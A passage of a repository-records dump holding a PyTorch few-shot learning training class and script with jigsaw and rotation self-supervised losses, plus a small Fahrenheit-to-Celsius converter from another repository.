protected]`\n" }, { "alpha_fraction": 0.5072821378707886, "alphanum_fraction": 0.5279248952865601, "avg_line_length": 51.08464050292969, "blob_id": "5a7f87f94c4f8da247cbf4744bd0c713d0bff52d", "content_id": "575fbd527a3b5a0c623bbffe5aba53a4392044f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16616, "license_type": "no_license", "max_line_length": 146, "num_lines": 319, "path": "/methods/baselinetrain.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "import backbone\nimport utils\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nimport torch.nn.functional as F\nfrom model_resnet import *\nfrom resnet_pytorch import *\n\nimport wandb\n\nclass BaselineTrain(nn.Module):\n def __init__(self, model_func, num_class, loss_type = 'softmax', jigsaw=False, lbda=0.0, rotation=False, tracking=True, pretrain=False):\n super(BaselineTrain, self).__init__()\n self.jigsaw = jigsaw\n self.lbda = lbda\n self.rotation = rotation\n self.tracking = tracking\n print('tracking in baseline train:',tracking)\n self.pretrain = pretrain\n print(\"USE pre-trained model:\",pretrain)\n\n if isinstance(model_func,str):\n if model_func == 'resnet18':\n self.feature = ResidualNet('ImageNet', 18, 1000, None, tracking=self.tracking)\n self.feature.final_feat_dim = 512\n elif model_func == 'resnet18_pytorch':\n self.feature = resnet18(pretrained=self.pretrain, tracking=self.tracking)\n self.feature.final_feat_dim = 512\n elif model_func == 'resnet50_pytorch':\n self.feature = resnet50(pretrained=self.pretrain, tracking=self.tracking)\n self.feature.final_feat_dim = 2048\n else:\n self.feature = model_func()\n\n if loss_type == 'softmax':\n self.classifier = nn.Linear(self.feature.final_feat_dim, num_class)\n self.classifier.bias.data.fill_(0)\n elif loss_type == 'dist': #Baseline ++\n self.classifier = backbone.distLinear(self.feature.final_feat_dim, num_class)\n self.loss_type = loss_type #'softmax' #'dist'\n self.num_class = num_class\n self.loss_fn = nn.CrossEntropyLoss()\n self.global_count = 0\n\n if self.jigsaw:\n self.fc6 = nn.Sequential()\n self.fc6.add_module('fc6_s1',nn.Linear(512, 512))#for resnet\n self.fc6.add_module('relu6_s1',nn.ReLU(inplace=True))\n self.fc6.add_module('drop6_s1',nn.Dropout(p=0.5))\n\n self.fc7 = nn.Sequential()\n self.fc7.add_module('fc7',nn.Linear(9*512,4096))#for resnet\n self.fc7.add_module('relu7',nn.ReLU(inplace=True))\n self.fc7.add_module('drop7',nn.Dropout(p=0.5))\n\n self.classifier_jigsaw = nn.Sequential()\n self.classifier_jigsaw.add_module('fc8',nn.Linear(4096, 35))\n\n if self.rotation:\n self.fc6 = nn.Sequential()\n self.fc6.add_module('fc6_s1',nn.Linear(512, 512))#for resnet\n self.fc6.add_module('relu6_s1',nn.ReLU(inplace=True))\n self.fc6.add_module('drop6_s1',nn.Dropout(p=0.5))\n\n self.fc7 = nn.Sequential()\n self.fc7.add_module('fc7',nn.Linear(512,128))#for resnet\n self.fc7.add_module('relu7',nn.ReLU(inplace=True))\n self.fc7.add_module('drop7',nn.Dropout(p=0.5))\n\n self.classifier_rotation = nn.Sequential()\n self.classifier_rotation.add_module('fc8',nn.Linear(128, 4))\n\n def forward(self,x):\n x = Variable(x.cuda())\n out = self.feature(x)\n scores = self.classifier(out.view(x.size(0), -1))\n return scores\n\n def forward_loss(self, x=None, y=None, patches=None, patches_label=None, unlabel_only=False, label_only=False):\n # import ipdb; ipdb.set_trace()\n if not unlabel_only:\n scores = self.forward(x)\n y = Variable(y.cuda())\n pred = torch.argmax(scores, dim=1)\n\n if torch.cuda.is_available():\n acc = (pred == y).type(torch.cuda.FloatTensor).mean().item()\n else:\n acc = (pred == y).type(torch.FloatTensor).mean().item()\n\n if label_only:\n return self.loss_fn(scores, y), acc\n\n if self.jigsaw:\n B,T,C,H,W = patches.size()#torch.Size([16, 9, 3, 64, 64])\n patches = patches.view(B*T,C,H,W).cuda()#torch.Size([144, 3, 64, 64])\n patch_feat = self.feature(patches)#torch.Size([144, 512, 1, 1])\n\n x_ = patch_feat.view(B,T,-1)#torch.Size([16, 9, 512])\n x_ = x_.transpose(0,1)#torch.Size([9, 16, 512])\n\n x_list = []\n for i in range(9):\n z = self.fc6(x_[i])#torch.Size([16, 512])\n z = z.view([B,1,-1])#torch.Size([16, 1, 512])\n x_list.append(z)\n\n x_ = torch.cat(x_list,1)#torch.Size([16, 9, 512])\n x_ = self.fc7(x_.view(B,-1))#torch.Size([16, 9*512])\n x_ = self.classifier_jigsaw(x_)\n\n y_ = patches_label.view(-1).cuda()\n\n pred = torch.max(x_,1)\n acc_jigsaw = torch.sum(pred[1] == y_).cpu().numpy()*1.0/len(y_)\n if unlabel_only:\n return self.loss_fn(x_,y_), acc_jigsaw\n else:\n return self.loss_fn(scores, y), self.loss_fn(x_,y_), acc, acc_jigsaw\n elif self.rotation:\n B,R,C,H,W = patches.size()#torch.Size([16, 4, 3, 224, 224])\n patches = patches.view(B*R,C,H,W).cuda()\n x_ = self.feature(patches)#torch.Size([64, 512, 1, 1])\n x_ = x_.squeeze()\n x_ = self.fc6(x_)\n x_ = self.fc7(x_)#64,128\n x_ = self.classifier_rotation(x_)#64,4\n pred = torch.max(x_,1)\n y_ = patches_label.view(-1).cuda()\n acc_jigsaw = torch.sum(pred[1] == y_).cpu().numpy()*1.0/len(y_)\n if unlabel_only:\n return self.loss_fn(x_,y_), acc_jigsaw\n else:\n return self.loss_fn(scores, y), self.loss_fn(x_,y_), acc, acc_jigsaw\n else:\n return self.loss_fn(scores, y), acc\n \n def train_loop(self, epoch, train_loader, optimizer, writer, scheduler=None, base_loader_u=None):\n print_freq = min(50,len(train_loader))\n avg_loss=0\n avg_loss_proto=0\n avg_loss_jigsaw=0\n avg_loss_rotation=0\n avg_acc_proto=0\n avg_acc_jigsaw=0\n avg_acc_rotation=0\n \n self.global_count = epoch * len(train_loader)\n\n if base_loader_u is not None:\n for i,inputs in enumerate(zip(train_loader,base_loader_u)):\n self.global_count += 1\n x = inputs[0][0]\n y = inputs[0][1]\n optimizer.zero_grad()\n loss_proto, acc = self.forward_loss(x, y, label_only=True)\n\n if self.jigsaw:\n loss_jigsaw, acc_jigsaw = self.forward_loss(patches=inputs[1][2], patches_label=inputs[1][3], unlabel_only=True)\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_jigsaw\n writer.add_scalar('train/loss_proto', float(loss_proto.data.item()), self.global_count)\n writer.add_scalar('train/loss_jigsaw', float(loss_jigsaw), self.global_count)\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_jigsaw': float(loss_jigsaw.data.item())}, step=self.global_count)\n elif self.rotation:\n loss_rotation, acc_rotation = self.forward_loss(patches=inputs[1][2], patches_label=inputs[1][3], unlabel_only=True)\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_rotation\n writer.add_scalar('train/loss_proto', float(loss_proto.data.item()), self.global_count)\n writer.add_scalar('train/loss_rotation', float(loss_rotation), self.global_count)\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_rotation': float(loss_rotation.data.item())}, step=self.global_count)\n else:\n loss, acc = self.forward_loss(x,y)\n writer.add_scalar('train/loss', float(loss.data.item()), self.global_count)\n wandb.log({'train/loss': float(loss.data.item())}, step=self.global_count)\n loss.backward()\n optimizer.step()\n\n if scheduler is not None:\n scheduler.step()\n writer.add_scalar('train/lr', optimizer.param_groups[0]['lr'], self.global_count)\n wandb.log({'train/lr': optimizer.param_groups[0]['lr']}, step=self.global_count)\n\n avg_loss = avg_loss+loss.data#[0]\n avg_acc_proto = avg_acc_proto+acc\n\n writer.add_scalar('train/acc_cls', acc, self.global_count)\n wandb.log({'train/acc_cls': acc}, step=self.global_count)\n\n if self.jigsaw:\n avg_loss_proto += loss_proto.data\n avg_loss_jigsaw += loss_jigsaw\n avg_acc_jigsaw = avg_acc_jigsaw+acc_jigsaw\n writer.add_scalar('train/acc_jigsaw', acc_jigsaw, self.global_count)\n wandb.log({'train/acc_jigsaw': acc_jigsaw}, step=self.global_count)\n elif self.rotation:\n avg_loss_proto += loss_proto.data\n avg_loss_rotation += loss_rotation\n avg_acc_rotation = avg_acc_rotation+acc_rotation\n writer.add_scalar('train/acc_rotation', acc_rotation, self.global_count)\n wandb.log({'train/acc_rotation': acc_rotation}, step=self.global_count)\n\n\n if (i+1) % print_freq==0:\n if self.jigsaw:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Cls {:f} | Loss Jigsaw {:f} | Acc Cls {:f} | Acc Jigsaw {:f}'.\\\n format(epoch+1, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), \\\n avg_loss_jigsaw/float(i+1), avg_acc_proto/float(i+1), avg_acc_jigsaw/float(i+1)))\n elif self.rotation:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Cls {:f} | Loss Rotation {:f} | Acc Cls {:f} | Acc Rotation {:f}'.\\\n format(epoch+1, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), \\\n avg_loss_rotation/float(i+1), avg_acc_proto/float(i+1), avg_acc_rotation/float(i+1)))\n else:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Acc Cls {:f}'.format(epoch+1, i+1, \\\n len(train_loader), avg_loss/float(i+1), avg_acc_proto/float(i+1) ))\n\n else:\n for i, inputs in enumerate(train_loader):\n self.global_count += 1\n x = inputs[0]\n y = inputs[1]\n optimizer.zero_grad()\n if self.jigsaw:\n loss_proto, loss_jigsaw, acc, acc_jigsaw = self.forward_loss(x, y, inputs[2], inputs[3])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_jigsaw\n writer.add_scalar('train/loss_proto', float(loss_proto.data.item()), self.global_count)\n writer.add_scalar('train/loss_jigsaw', float(loss_jigsaw), self.global_count)\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_jigsaw': float(loss_jigsaw.data.item())}, step=self.global_count)\n elif self.rotation:\n loss_proto, loss_rotation, acc, acc_rotation = self.forward_loss(x, y, inputs[2], inputs[3])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_rotation\n writer.add_scalar('train/loss_proto', float(loss_proto.data.item()), self.global_count)\n writer.add_scalar('train/loss_rotation', float(loss_rotation), self.global_count)\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_rotation': float(loss_rotation.data.item())}, step=self.global_count)\n else:\n loss, acc = self.forward_loss(x,y)\n writer.add_scalar('train/loss', float(loss.data.item()), self.global_count)\n wandb.log({'train/loss': float(loss.data.item())}, step=self.global_count)\n loss.backward()\n optimizer.step()\n\n if scheduler is not None:\n scheduler.step()\n writer.add_scalar('train/lr', optimizer.param_groups[0]['lr'], self.global_count)\n wandb.log({'train/lr': optimizer.param_groups[0]['lr']}, step=self.global_count)\n\n avg_loss = avg_loss+loss.data\n avg_acc_proto = avg_acc_proto+acc\n\n writer.add_scalar('train/acc_cls', acc, self.global_count)\n wandb.log({'train/acc_cls': acc}, step=self.global_count)\n if self.jigsaw:\n avg_loss_proto += loss_proto.data\n avg_loss_jigsaw += loss_jigsaw\n avg_acc_jigsaw = avg_acc_jigsaw+acc_jigsaw\n writer.add_scalar('train/acc_jigsaw', acc_jigsaw, self.global_count)\n wandb.log({'train/acc_jigsaw': acc_jigsaw}, step=self.global_count)\n elif self.rotation:\n avg_loss_proto += loss_proto.data\n avg_loss_rotation += loss_rotation\n avg_acc_rotation = avg_acc_rotation+acc_rotation\n writer.add_scalar('train/acc_rotation', acc_rotation, self.global_count)\n wandb.log({'train/acc_rotation': acc_rotation}, step=self.global_count)\n\n if (i+1) % print_freq==0:\n if self.jigsaw:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Cls {:f} | Loss Jigsaw {:f} | Acc Cls {:f} | Acc Jigsaw {:f}'.\\\n format(epoch+1, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), \\\n avg_loss_jigsaw/float(i+1), avg_acc_proto/float(i+1), avg_acc_jigsaw/float(i+1)))\n elif self.rotation:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Cls {:f} | Loss Rotation {:f} | Acc Cls {:f} | Acc Rotation {:f}'.\\\n format(epoch+1, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), \\\n avg_loss_rotation/float(i+1), avg_acc_proto/float(i+1), avg_acc_rotation/float(i+1)))\n else:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Acc Cls {:f}'.format(epoch+1, i+1, \\\n len(train_loader), avg_loss/float(i+1), avg_acc_proto/float(i+1) ))\n \n def test_loop(self, val_loader=None):\n if val_loader is not None:\n num_correct = 0\n num_total = 0\n num_correct_jigsaw = 0\n num_total_jigsaw = 0\n for i, inputs in enumerate(val_loader):\n x = inputs[0]\n y = inputs[1]\n if self.jigsaw:\n loss_proto, loss_jigsaw, acc, acc_jigsaw = self.forward_loss(x, y, inputs[2], inputs[3])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_jigsaw\n num_correct_jigsaw = int(acc_jigsaw*len(inputs[3]))\n num_total_jigsaw += len(inputs[3].view(-1))\n elif self.rotation:\n loss_proto, loss_rotation, acc, acc_rotation = self.forward_loss(x, y, inputs[2], inputs[3])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_rotation\n num_correct_jigsaw = int(acc_jigsaw*len(inputs[3]))\n num_total_jigsaw += len(inputs[3].view(-1))\n else:\n loss, acc = self.forward_loss(x,y)\n num_correct += int(acc*x.shape[0])\n num_total += len(y)\n \n if self.jigsaw or self.rotation:\n return num_correct*100.0/num_total, num_correct_jigsaw*100.0/num_total_jigsaw\n else:\n print(\"Validation loader inside BaselineTrain: \", num_correct*100.0/num_total)\n return num_correct*100.0/num_total\n\n else:\n if self.jigsaw:\n return -1, -1\n elif self.rotation:\n return -1, -1\n else:\n return -1 #no validation, just save model during iteration\n\n" }, { "alpha_fraction": 0.6063134074211121, "alphanum_fraction": 0.6102742552757263, "avg_line_length": 45.53910446166992, "blob_id": "3ea9fd51b2da383298ebc06d7ac1d50f363acbf2", "content_id": "10c80195ce7c8a17d21505f621f76c7648c2c116", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16663, "license_type": "no_license", "max_line_length": 199, "num_lines": 358, "path": "/.ipynb_checkpoints/train-checkpoint.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim\nimport torch.optim.lr_scheduler as lr_scheduler\nimport time\nimport os\nimport glob\nimport random\n\nimport backbone\nfrom data.datamgr import SimpleDataManager, SetDataManager\nfrom methods.baselinetrain import BaselineTrain\nfrom methods.baselinefinetune import BaselineFinetune\nfrom methods.protonet import ProtoNet\nfrom methods.matchingnet import MatchingNet\nfrom methods.relationnet import RelationNet\nfrom methods.maml import MAML\nfrom io_utils import model_dict, parse_args, get_resume_file, get_best_file, get_assigned_file\nfrom tensorboardX import SummaryWriter\nimport json\nfrom model_resnet import *\n\n\nimport wandb\n\n\ndef train(base_loader, val_loader, model, optimizer, start_epoch, stop_epoch, params): \n \n eval_interval = 20\n max_acc = 0 \n writer = SummaryWriter(log_dir=params.checkpoint_dir)\n for epoch in range(start_epoch,stop_epoch):\n model.train()\n model.train_loop(epoch, base_loader, optimizer, writer) #model are called by reference, no need to return \n if epoch % eval_interval == True or epoch == stop_epoch - 1: \n model.eval()\n if not os.path.isdir(params.checkpoint_dir):\n os.makedirs(params.checkpoint_dir)\n\n if params.jigsaw:\n \tacc, acc_jigsaw = model.test_loop( val_loader)\n \twriter.add_scalar('val/acc', acc, epoch)\n \twriter.add_scalar('val/acc_jigsaw', acc_jigsaw, epoch)\n elif params.rotation:\n \tacc, acc_rotation = model.test_loop( val_loader)\n \twriter.add_scalar('val/acc', acc, epoch)\n \twriter.add_scalar('val/acc_rotation', acc_rotation, epoch)\n else: \n \tacc = model.test_loop( val_loader)\n \twriter.add_scalar('val/acc', acc, epoch)\n wandb.log({\"val/acc\": acc}, step=model.global_count)\n if acc > max_acc : #for baseline and baseline++, we don't use validation here so we let acc = -1\n \tprint(\"best model! save...\")\n \tmax_acc = acc\n \toutfile = os.path.join(params.checkpoint_dir, 'best_model.tar')\n \ttorch.save({'epoch':epoch, 'state':model.state_dict(), 'optimizer': optimizer.state_dict()}, outfile)\n \twandb.save(outfile)\n\n if ((epoch+1) % params.save_freq==0) or (epoch==stop_epoch-1):\n outfile = os.path.join(params.checkpoint_dir, 'last_model.tar'.format(epoch))\n torch.save({'epoch':epoch, 'state':model.state_dict(), 'optimizer': optimizer.state_dict()}, outfile) \n wandb.save(outfile)\n \n # only two models are uploaded in each run - the best one and the last one\n # return model\n\nif __name__=='__main__':\n SEED = 10 \n torch.manual_seed(SEED)\n torch.cuda.manual_seed(SEED)\n np.random.seed(SEED)\n random.seed(SEED)\n torch.backends.cudnn.deterministic = True\n torch.backends.cudnn.benchmark = True\n \n \n params = parse_args('train')\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = params.device\n\n\n isAircraft = (params.dataset == 'aircrafts') \n \n base_file = os.path.join('filelists', params.dataset, params.base+'.json')\n val_file = os.path.join('filelists', params.dataset, 'val.json')\n \n image_size = params.image_size\n\n if params.method in ['baseline', 'baseline++'] :\n base_datamgr = SimpleDataManager(image_size, batch_size = params.bs, jigsaw=params.jigsaw, rotation=params.rotation, isAircraft=isAircraft)\n base_loader = base_datamgr.get_data_loader( base_file , aug = params.train_aug )\n val_datamgr = SimpleDataManager(image_size, batch_size = params.bs, jigsaw=params.jigsaw, rotation=params.rotation, isAircraft=isAircraft)\n val_loader = val_datamgr.get_data_loader( val_file, aug = False)\n\n if params.dataset == 'CUB':\n params.num_classes = 200\n elif params.dataset == 'cars':\n params.num_classes = 196\n elif params.dataset == 'aircrafts':\n params.num_classes = 100\n elif params.dataset == 'dogs':\n params.num_classes = 120\n elif params.dataset == 'flowers':\n params.num_classes = 102\n elif params.dataset == 'miniImagenet':\n params.num_classes = 100\n elif params.dataset == 'tieredImagenet':\n params.num_classes = 608\n\n if params.method == 'baseline':\n model = BaselineTrain( model_dict[params.model], params.num_classes, \\\n jigsaw=params.jigsaw, lbda=params.lbda, rotation=params.rotation, tracking=params.tracking)\n elif params.method == 'baseline++':\n model = BaselineTrain( model_dict[params.model], params.num_classes, \\\n loss_type = 'dist', jigsaw=params.jigsaw, lbda=params.lbda, rotation=params.rotation, tracking=params.tracking)\n\n elif params.method in ['protonet','matchingnet','relationnet', 'relationnet_softmax', 'maml', 'maml_approx']:\n n_query = max(1, int(params.n_query * params.test_n_way/params.train_n_way)) #if test_n_way is smaller than train_n_way, reduce n_query to keep batch size small\n \n train_few_shot_params = dict(n_way = params.train_n_way, n_support = params.n_shot, \\\n jigsaw=params.jigsaw, lbda=params.lbda, rotation=params.rotation) \n base_datamgr = SetDataManager(image_size, n_query = n_query, **train_few_shot_params, isAircraft=isAircraft)\n base_loader = base_datamgr.get_data_loader( base_file , aug = params.train_aug )\n \n test_few_shot_params = dict(n_way = params.test_n_way, n_support = params.n_shot, \\\n jigsaw=params.jigsaw, lbda=params.lbda, rotation=params.rotation) \n val_datamgr = SetDataManager(image_size, n_query = n_query, **test_few_shot_params, isAircraft=isAircraft)\n val_loader = val_datamgr.get_data_loader( val_file, aug = False) \n\n if params.method == 'protonet':\n model = ProtoNet( model_dict[params.model], **train_few_shot_params, use_bn=(not params.no_bn), pretrain=params.pretrain, tracking=params.tracking)\n elif params.method == 'matchingnet':\n model = MatchingNet( model_dict[params.model], **train_few_shot_params )\n elif params.method in ['relationnet', 'relationnet_softmax']:\n feature_model = lambda: model_dict[params.model]( flatten = False )\n loss_type = 'mse' if params.method == 'relationnet' else 'softmax'\n\n model = RelationNet( feature_model, loss_type = loss_type , **train_few_shot_params )\n elif params.method in ['maml' , 'maml_approx']:\n backbone.ConvBlock.maml = True\n backbone.SimpleBlock.maml = True\n backbone.BottleneckBlock.maml = True\n backbone.ResNet.maml = True\n\n BasicBlock.maml = True\n Bottleneck.maml = True\n ResNet.maml = True\n\n model = MAML( model_dict[params.model], approx = (params.method == 'maml_approx') , **train_few_shot_params )\n\n else:\n raise ValueError('Unknown method')\n \n # model = nn.DataParallel(model, device_ids = params.device_ids)\n model = model.cuda()\n\n # Arjun - defined optimizer here\n \n if params.optimization == 'Adam':\n optimizer = torch.optim.Adam(model.parameters(), lr=params.lr)\n elif params.optimization == 'SGD':\n optimizer = torch.optim.SGD(model.parameters(), lr=params.lr)\n elif params.optimization == 'Nesterov':\n optimizer = torch.optim.SGD(model.parameters(), lr=params.lr, nesterov=True, momentum=0.9, weight_decay=params.wd)\n else:\n raise ValueError('Unknown optimization, please define by yourself')\n \n # ---\n \n params.checkpoint_dir = 'ckpts/%s/%s_%s_%s' %(params.dataset, params.date, params.model, params.method)\n if params.train_aug:\n params.checkpoint_dir += '_aug'\n if not params.method in ['baseline', 'baseline++']: \n params.checkpoint_dir += '_%dway_%dshot_%dquery' %( params.train_n_way, params.n_shot, params.n_query)\n \n if params.dataset_unlabel is not None:\n params.checkpoint_dir += params.dataset_unlabel\n params.checkpoint_dir += str(params.bs)\n\n ## Track bn stats\n if params.tracking:\n params.checkpoint_dir += '_tracking'\n\n ## Add jigsaw\n if params.jigsaw:\n params.checkpoint_dir += '_jigsaw_lbda%.2f'%(params.lbda)\n params.checkpoint_dir += params.optimization\n\n ## Add rotation\n if params.rotation:\n params.checkpoint_dir += '_rotation_lbda%.2f'%(params.lbda)\n params.checkpoint_dir += params.optimization\n\n params.checkpoint_dir += '_lr%.4f'%(params.lr)\n if params.finetune:\n params.checkpoint_dir += '_finetune'\n\n print('Checkpoint path:',params.checkpoint_dir)\n if not os.path.isdir(params.checkpoint_dir):\n os.makedirs(params.checkpoint_dir)\n\n start_epoch = params.start_epoch\n stop_epoch = params.stop_epoch\n if params.method == 'maml' or params.method == 'maml_approx' :\n stop_epoch = params.stop_epoch * model.n_task #maml use multiple tasks in one update \n\n if params.resume:\n resume_file = get_resume_file(params.checkpoint_dir)\n if resume_file is not None:\n print('Resuming model, epoch and optimizer from: ', resume_file)\n tmp = torch.load(resume_file)\n start_epoch = tmp['epoch']+1\n model.load_state_dict(tmp['state'])\n optimizer.load_state_dict(tmp['optimizer'])\n del tmp\n elif params.warmup: #We also support warmup from pretrained baseline feature, but we never used in our paper\n baseline_checkpoint_dir = 'checkpoints/%s/%s_%s' %(params.dataset, params.model, 'baseline')\n if params.train_aug:\n baseline_checkpoint_dir += '_aug'\n warmup_resume_file = get_resume_file(baseline_checkpoint_dir)\n tmp = torch.load(warmup_resume_file)\n if tmp is not None: \n state = tmp['state']\n state_keys = list(state.keys())\n for i, key in enumerate(state_keys):\n if \"feature.\" in key:\n newkey = key.replace(\"feature.\",\"\") # an architecture model has attribute 'feature', load architecture feature to backbone by casting name from 'feature.trunk.xx' to 'trunk.xx' \n state[newkey] = state.pop(key)\n else:\n state.pop(key)\n model.feature.load_state_dict(state)\n else:\n raise ValueError('No warm_up file')\n \n if params.loadfile != '':\n print('Loading model from: ' + params.loadfile)\n checkpoint = torch.load(params.loadfile)\n model.load_state_dict(checkpoint['state'])\n\n json.dump(vars(params), open(params.checkpoint_dir+'/configs.json','w')) \n \n # Init WANDB\n \n if params.resume_wandb_id:\n print('Resuming from wandb ID: ', params.resume_wandb_id)\n wandb.init(project=\"fsl_ssl\", id=params.resume_wandb_id, resume=True)\n else:\n print('Fresh wandb run')\n wandb.init(project=\"fsl_ssl\")\n\n \n train(base_loader, val_loader, model, optimizer, start_epoch, stop_epoch, params)\n\n\n ##### from save_features.py (except maml)#####\n split = 'novel'\n if params.save_iter != -1:\n split_str = split + \"_\" +str(params.save_iter)\n else:\n split_str = split\n\n iter_num = 600\n few_shot_params = dict(n_way = params.test_n_way , n_support = params.n_shot)\n acc_all = []\n\n if params.loadfile != '':\n modelfile = params.loadfile\n checkpoint_dir = params.loadfile\n else:\n checkpoint_dir = params.checkpoint_dir\n if params.save_iter != -1:\n modelfile = get_assigned_file(checkpoint_dir,params.save_iter)\n elif params.method in ['baseline', 'baseline++'] :\n modelfile = get_resume_file(checkpoint_dir)\n else:\n modelfile = get_best_file(checkpoint_dir)\n\n if params.method in ['maml', 'maml_approx']:\n if modelfile is not None:\n tmp = torch.load(modelfile)\n state = tmp['state']\n state_keys = list(state.keys())\n for i, key in enumerate(state_keys):\n if \"feature.\" in key:\n newkey = key.replace(\"feature.\",\"\") # an architecture model has attribute 'feature', load architecture feature to backbone by casting name from 'feature.trunk.xx' to 'trunk.xx'\n state[newkey] = state.pop(key)\n else:\n state.pop(key)\n model.feature.load_state_dict(tmp['state'])\n print('modelfile:',modelfile)\n\n datamgr = SetDataManager(image_size, n_eposide = iter_num, n_query = params.n_query , **few_shot_params, isAircraft=isAircraft)\n loadfile = os.path.join('filelists', params.dataset, 'novel.json')\n novel_loader = datamgr.get_data_loader( loadfile, aug = False)\n if params.adaptation:\n model.task_update_num = 100 #We perform adaptation on MAML simply by updating more times.\n model.eval()\n acc_mean, acc_std = model.test_loop( novel_loader, return_std = True)\n else:\n if params.save_iter != -1:\n outfile = os.path.join( checkpoint_dir.replace(\"checkpoints\",\"features\"), \"novel_\" + str(params.save_iter)+ \".hdf5\")\n else:\n outfile = os.path.join( checkpoint_dir.replace(\"checkpoints\",\"features\"), \"novel.hdf5\")\n\n datamgr = SimpleDataManager(image_size, batch_size = params.test_bs, isAircraft=isAircraft)\n loadfile = os.path.join('filelists', params.dataset, 'novel.json')\n data_loader = datamgr.get_data_loader(loadfile, aug = False)\n\n tmp = torch.load(modelfile)\n state = tmp['state']\n state_keys = list(state.keys())\n for i, key in enumerate(state_keys):\n if \"feature.\" in key:\n newkey = key.replace(\"feature.\",\"\") # an architecture model has attribute 'feature', load architecture feature to backbone by casting name from 'feature.trunk.xx' to 'trunk.xx'\n state[newkey] = state.pop(key)\n else:\n state.pop(key)\n\n model.feature.load_state_dict(state)\n model.eval()\n model = model.cuda()\n model.eval()\n\n dirname = os.path.dirname(outfile)\n if not os.path.isdir(dirname):\n os.makedirs(dirname)\n print('save outfile at:', outfile)\n from save_features import save_features\n save_features(model, data_loader, outfile)\n\n ### from test.py ###\n from test import feature_evaluation\n novel_file = os.path.join( checkpoint_dir.replace(\"checkpoints\",\"features\"), split_str +\".hdf5\") #defaut split = novel, but you can also test base or val classes\n print('load novel file from:',novel_file)\n import data.feature_loader as feat_loader\n cl_data_file = feat_loader.init_loader(novel_file)\n\n for i in range(iter_num):\n acc = feature_evaluation(cl_data_file, model, n_query = 15, adaptation = params.adaptation, **few_shot_params)\n acc_all.append(acc)\n\n acc_all = np.asarray(acc_all)\n acc_mean = np.mean(acc_all)\n acc_std = np.std(acc_all)\n print('%d Test Acc = %4.2f%% +- %4.2f%%' %(iter_num, acc_mean, 1.96* acc_std/np.sqrt(iter_num)))\n \n with open(os.path.join( checkpoint_dir.replace(\"checkpoints\",\"features\"), split_str +\"_test.txt\") , 'a') as f:\n timestamp = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime())\n aug_str = '-aug' if params.train_aug else ''\n aug_str += '-adapted' if params.adaptation else ''\n if params.method in ['baseline', 'baseline++'] :\n exp_setting = '%s-%s-%s-%s%s %sshot %sway_test' %(params.dataset, split_str, params.model, params.method, aug_str, params.n_shot, params.test_n_way )\n else:\n exp_setting = '%s-%s-%s-%s%s %sshot %sway_train %sway_test' %(params.dataset, split_str, params.model, params.method, aug_str , params.n_shot , params.train_n_way, params.test_n_way )\n acc_str = '%d Test Acc = %4.2f%% +- %4.2f%%' %(iter_num, acc_mean, 1.96* acc_std/np.sqrt(iter_num))\n f.write( 'Time: %s, Setting: %s, Acc: %s \\n' %(timestamp,exp_setting,acc_str) )\n\n\n" } ]
8
n31629/TEST
https://github.com/n31629/TEST
8ee670d7058b5f0d1097629e743f7882b66af14c
8dbe8e536b5831bf7646fda1ed0fd6e1bb253e83
9ccccbdaea83bac5426d6497183f39f05a558273
refs/heads/master
2020-09-22T03:18:09.565522
2020-01-26T15:23:05
2020-01-26T15:23:05
225,030,280
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 12, "blob_id": "4d380ab2c9a787981dfe4af9f3698a63ce1a4918", "content_id": "6fff862cd5886b83331a1fd1c1235bebe687c41d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 27, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "n31629/TEST", "src_encoding": "UTF-8", "text": "\"# TEST\" \n\"# temperature\" \n" }, { "alpha_fraction": 0.45045045018196106, "alphanum_fraction": 0.522522509098053, "avg_line_length": 15, "blob_id": "2403b5f1736986b378f10dffd3cec81eb2dacee9", "content_id": "018e9268f08c09b2910740820193f623b913d4b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 173, "license_type": "no_license", "max_line_length": 24, "num_lines": 7, "path": "/123.py", "repo_name": "n31629/TEST", "src_encoding": "UTF-8", "text": "#華氏溫度轉攝氏溫度\n#公式 C=(F-32)*5/9\n\nF = input('請輸入目前華氏溫度: ')\nF = int(F)\nC = ( F - 32 ) * 5 / 9\nprint('轉換後之攝氏溫度為: ', C)" } ]
2
resol341/bioinfostuff
https://github.com/resol341/bioinfostuff
fcc6a51230994dcc3318f8f636973c86fe1d8e25
